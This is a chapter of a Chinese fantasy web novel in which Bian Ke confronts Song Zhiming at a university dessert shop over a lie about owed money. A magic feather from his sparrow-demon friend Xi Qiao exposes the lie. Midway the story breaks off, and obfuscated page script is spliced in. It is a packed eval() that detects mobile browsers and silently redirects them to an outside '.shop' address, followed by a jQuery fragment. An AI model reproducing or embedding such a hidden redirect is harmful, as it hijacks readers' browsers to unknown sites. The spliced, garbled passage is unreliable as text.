边恪和奚乔约好十点二十分在刚刚那座绿瓦红墙的教学楼下见面,怕边恪等得无聊,奚乔提议让他去学校商铺扎堆的小广场看看。


    「那广场离教学区不远,你看着路牌走就能到。」


    「找不到地方的话,可以随机抓个路人,让他带你去。」


    「这个点那家叫‘乐水’的糖水铺应该开门了,你可以去尝尝他们家的红豆沙。」


    奚乔打字真快,消息一条接一条,边恪都能想象到他叽叽喳喳的声音了。


    不过,上课也能玩手机吗?


    边恪发问过去。


    对面终于沉默了,待到边恪找着路牌,对面才重新发来消息:「我是担心你嘛。」


    「你不把我传送到学校就不用担心了。」边恪耿直地回答。


    奚乔发来一张「小鸟哭哭」的表情包,彻底老实了。


    不知道他上哪儿找到的表情包,每一张的小鸟都很像他的原形。


    粉紫色的大团雀,可爱,嘿嘿。


    迎面而来的路人对边恪投来疑惑的目光,边恪赶紧收敛了傻笑,一本正经地往小广场的方向小跑去。


    时间太早了,小广场那一圈的商铺都挂着锁,边恪还是放慢脚步,挨家挨户看门外有没有贴招工广告。


    也不能把择业范围框定在奚乔住处附近的商场,而且边恪觉得除开美容美发,他也可以尝试做做奶茶或者咖啡。


    这就是他本人就业的灵活态度。


    走过十家店,只有两家洋快餐店招工,但看招工广告上写招学生兼职,不招社会员工。


    边恪有些泄气,继续往商圈里面走,被眼前打开的玻璃门吓一跳,抬眼便看到了“乐水”二字的招牌。


    奚乔说得没错,这家店开门了。


    他莫名其妙地欣喜了一下,抬脚拐入了店门。


    不点单,就单纯进来看看。


    店铺里面呈U字型,桌子向两侧做弧状延伸,远远的靠里侧的卡座已经坐着一对男女,女生面朝边恪这边,愉快地跟她的同伴说笑,而男生背对着,没怎么说话,只能依稀看见侧身的轮廓。


    有一点眼熟啊,那个男生。


    边恪没能细看,因为前台离门很近,他没走两步就和前台的女店主撞上了视线。


    这下不点单好像也说不过去。


    边恪硬着头皮上前翻看菜单,发现糖水的价格不算贵,他就点了碗奚乔推荐的红豆沙。


    与此同时,闲聊的那对男女中,女生的声音停了下来,男生的声音徐徐响起:“好啦好啦,你也不要笑张老师了,他做这些也都是为你好。”


    这个声音,就算是他化成灰边恪也能听出来。


    是宋致溟。


    女生还说了些什么,边恪没有听清,女店主在他耳边催促他:“同学,找个位置先坐下啊。”


    店里空位置很多,边恪把手机揣回兜里,径自走向宋致溟和那个女生旁边的小圆桌。


    再从口袋抽.出手,掌心却忽然多了一片粉粉的羽毛。


    嗯?


    女生这会儿变了脸色,冲宋致溟抱怨说:“你总是说我爸的好话,他那小老头给你什么好处啦?”


    “大小姐,我尊师重道还不行吗?”宋致溟没觉察到来人,双手合十冲女生讨饶。


    边恪攥紧粉色羽毛,猛地拉开了椅子,“哗啦”一声刺耳的噪音,惊得卡座上的两人看了过来。


    特别是宋致溟,原本只恼怒地蹙着眉,在看清边恪的脸时,眼睛都快瞪了出来。


    “早啊,致溟哥。”边恪微微露出点儿笑,“昨天这个时候,你不是在忙实验吗?今天不用忙了?”


    宋致溟没接话,倒是那女生讲义气,回怼边恪说:“同学,公共场所不要制造噪音,就算你认识致溟,也不能不讲礼貌。”


    “对不起。”边恪老实地颔首道歉,眼睛却盯着宋致溟不放,“我好些年没见致溟哥了,心情有点激动。”


    “你怎么还追到这儿来了?”宋致溟开口就是质问。


    边恪心颤了一下,面色平静地落座:“我找你追债,见不到人,当然只能来你的学校。”


    “追什么债?师兄,你欠债了?”女生也跟着追问道。


    “师妹,你别听他胡说。”宋致溟赶紧向女生解释,“他是我一发小,没考上大学,平时在厂里赚点工资都打游戏花了,还经常找我借钱,我没借给他,他就这么跟别人造谣我。”


    “我造谣你?”边恪被气笑了,心颤得发疼,“昨天你还找我要一万五,今天就忘记了?”


    宋致溟却愈发不慌张,甚至冲女生摆摆手:“我念在我们是发小,不想跟你多计较,但你也不能无凭无据造谣。”


    “对啊,你该拿证据出来,不然你就是污蔑人。”女生也帮腔说道。


    证据,他哪里保存了证据?今天见到宋致溟都是个意外。


    边恪下意识松了松攥紧羽毛的手,一道宋致溟赔笑的声音凭空响起:


    “你知道的,我那导师事儿太多,今天又找我要实验器材的钱。”


    宋致溟顿时面色发白,那女生也不禁皱起了眉。


    紧接着响起边恪略微颤抖的声音:“你要多少?”


    边恪反应过来,这是昨天的电话录音!


    昨天的“宋致溟”口齿清晰地说:“一万五。”


    “你从哪儿伪造的录音?”宋致溟腾地一下站起来,伸手去抢边恪手里的羽毛,“把录音笔给我!”


    边恪将手背到身后,掌心却忽然一空,羽毛消失了。


    女生拽住了宋致溟胳膊:“你先说清楚,我爸什么时候让你买过实验器材?”


    “一万五这点儿小钱,够买什么器材?”


    “师妹,他污蔑我的,你看他连录音笔都不敢拿出来!”宋致溟立马软下神色,好声好气地向女生解释。


    边恪还将手背在身后:“我把录音笔给你,你扔掉不认账怎么办?”


    女生也甩下一句狠话:“我亲耳听到那就是你的声音,你要么给我一个解释,要么就从实验室里滚蛋。”


    随即把宋致溟的手甩开,气冲冲地夺门而出。


    宋致溟也只来得及瞪边恪一眼,便匆匆追赶女生的背影:“师妹,你等等我!我可以解释清楚!”


    边恪目送二人的背影消失在门外的小广场,才垂眸看了看攥着羽毛的手心。


    手心空空如也,没有一点羽毛的痕迹。


    他其实还没来得及打算跟宋致溟算账,一心想着找到工作再说,今天来到Z大,来到这家糖水铺,也是因为奚乔……奚乔,羽毛,是奚乔故意的。


    边恪就说,以魅魔那聪明劲儿,都能考上Z大了,怎么会犯今早这种低级错误。


    “诶,小同学,你旁边的两个同学怎么走了?”女店主端来红豆沙,疑惑地问,“我们后厨刚打包好他们要的八份糖水,他们钱都还没给呢!”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552290|204351||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “怎么点这么多?”边恪习惯性伸出双手接过碗。


    “他们一个实验室要喝的,平常那男生都给钱。”女店主叹了口气,“可能今天忘了,待会儿会回来拿吧。”


    听起来宋致溟闲钱挺多,不过以今天这情况,可能不会回来结账了。


    边恪不好跟店主明说,只道他也要一份红豆沙打包,当场扫码付钱。


    打包的那份红豆沙自然是给奚乔,哪怕他尝不出味道,吃个意思也好。


    被宋致溟闹着一通,边恪也没心思看其他店铺的招工广告,他看着和奚乔的对话框,用一根手指敲敲打打,最后想到奚乔还在上课,只好又把编辑好的话语删除掉。


    还是当面问奚乔好了。


    边恪想知道奚乔为什么要帮他,明明奚乔已经为他做得足够多了。


    另外,这家糖水铺的红豆沙果然好好喝啊。


    *


    边恪在糖水铺里坐到十点钟,店里来往的学生多了起来,他也拎着打包好的红豆沙,随学生们往教学区走。


    无所事事地走在学校宽敞的林荫路,边恪终于有闲心好好观察一下这群高学历的同龄人,他以前上中专,“护送”宋致溟去本地的重点高中上学,会有意无意地观察同行的高中生。


    他不会相面的技术,但总觉得那些高中生以及现在的大学生,眉眼间都有股淡淡的书卷气,一看就和他这种笨人不一样。


    边恪放慢了脚步,任由赶着去上课的学生们越过他,眯着眼追着看林荫道上闪烁的光斑,不赶去上课的学生比他还悠闲,往前走两步,又因为说笑停一停。


    他们聊天内容里好多外国名字,边恪一个都没听懂,听起来很厉害的样子。


    老先生用戒尺敲过边恪脑袋,说他但凡开点儿窍,读书和宋致溟一样厉害,长大后能少辛苦许多。


    边恪不开窍,所以长大后辛苦也没什么好抱怨的。


    他走到那绿瓦红墙的教学楼下,为不挡人家的通道,没有进门,只在楼下的树荫里等着,这回他才给奚乔发了消息:「我到教学楼下了。」


    来往的人群忽然传出一阵惊呼:“我去,UFO!”


    边恪看了过去,大家驻足在教学楼下,仰头看着空中闪过一道流星般的白光。


    他被白光晃得眯起眼睛,隐约在那团强光里,看到一柄飞剑追赶着一只银白色的鹰隼。


    飞剑之上甚至还能看出一个苍劲的人类轮廓。


    他这是又遇上什么非人奇迹了?


    “嘿,看什么呢?”一团靓丽的粉毛跳进边恪视野。


    边恪随即便撞上了一个宽阔的肩膀,一抬眼,魅魔正笑眼弯弯地看着自己。


    “天上好像有人在追老鹰。”边恪愣愣地抬手,想指一指天空,结果举起来的是给奚乔打包的红豆沙。


    “哇,你给我买了一份糖水啊~”奚乔一惊一乍道,“阿鲟,你真好~”


    “嗯,就顺带手的事……你没看天上吗,有人在追老鹰。”边恪语无伦次地把糖水塞进奚乔的手里,想问奚乔的话也被抛在了脑后。


    奚乔闻言,也抬头看了看:“没有哇,天上连片云都看不见。”


    “人家已经飞走了。”边恪叹息,驻足在楼下的人们也三三两两地散开了。


    “不管那些。”奚乔亲亲热热地把边恪肩膀一揽,“下堂课在大阶梯教室上,那位老师允许非本专业学生蹭课,你跟我一起去听课呗~”